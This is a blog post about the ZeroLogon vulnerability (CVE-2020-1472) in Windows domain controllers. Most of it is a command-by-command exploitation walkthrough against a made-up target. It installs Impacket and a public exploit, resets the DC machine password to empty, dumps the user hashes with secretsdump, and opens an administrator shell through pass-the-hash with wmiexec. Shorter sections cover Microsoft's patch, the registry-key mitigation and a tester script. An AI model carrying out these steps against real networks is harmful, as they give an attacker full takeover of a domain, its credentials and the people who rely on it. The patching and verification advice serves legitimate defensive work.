Information about vulnerability
The vulnerability I will discuss in this post it the famous ZeroLogon vulnerability(CVE-2020-1472). By exploiting the vulnerability any attacker with network access to domain controller can take complete control of a windows domain very quick and easy.
I will start off by showing you how easy you can exploit the vulnerability. Then I will continue by showing you how you can protect your domain controllers and finally I will show you how you can verify that your domain controllers have the correct fixes in place.
How to exploit the vulnerability
We will use the script by Risksense to exploit the vulnerability. To be able to run it you will need to have the Impacket library installed on your machine. If you don’t have it installed you can simply install it by following the steps below.
git clone https://github.com/SecureAuthCorp/impacket.git
pip3 install .
python3 setup.py install
We will then download the ZeroLogon script from Risksense.
git clone https://github.com/risksense/zerologon.git
Now it’s time to exploit. We need the name of the domain, the name of the DC and the IP address. For this example we will use the following information for this made up target:
- Name of domain: LETMEIN
- Name of DC: SECRET-DC
- IP address of DC: 192.168.1.10
Run the script:
python3 set_empty_pw.py SECRET-DC 192.168.1.10
The DC should now have an empty string as its machine password. You can now use a tool of your choice to get out the info you want from the DC. You can for example use secretsdump.py that is included in the impacket library.
secretdump.py -just-dc LETMEIN/SECRET-DC\$192.168.1.10
Then press enter when prompted for password since it is supposed to be empty and voila. You should now see the user hashes from the NTDS.DIT.
Now you can easily find a Domain Admin like for example “LETMEIN\Administrator” and use another tool to create a shell. We will use another impacket tool for that, wmiexec.py. So all you need to do is to copy the hash that you got from secretdump.py.
Create shell to domain controller:
wmiexec.py LETMEIN\Administrator@192.168.1.10 -hashes *hashfromsecretdump.py*
You now have a shell on the domain controller. You own it and can do what you want.
Microsofts fix for this vulnerability
So, how can we now mitigate that a hacker exploits this in our own domain? Microsoft released information on how you can fix this. The first step is to install the patch and then set the FullSecureChannelProtection registry key to 1.
Instructions can be found on Microsofts website:
Hopefully you already installed the patches back in august and applied the reg key the same day as Microsoft sent out the information.
How to verify the fix
How can you make sure that you did everything right while applying Microsofts fixes? To test it you can use the Zerologon tester script by Secura. The script also uses Impacket library to test if the vulnerability remains.
How to install:
git clone https://github.com/SecuraBV/CVE-2020-1472.git
pip install -r requirements.txt
Run the script:
zerologon_tester.py SECRET-DC 192.168.1.10
That’s it, a super critical vulnerability that is extremely easy to exploit. Make sure that you always patch your stuff and do it quickly. ASAP is not enough 🙂
If you have any questions you can contact me on twitter (@tzusec).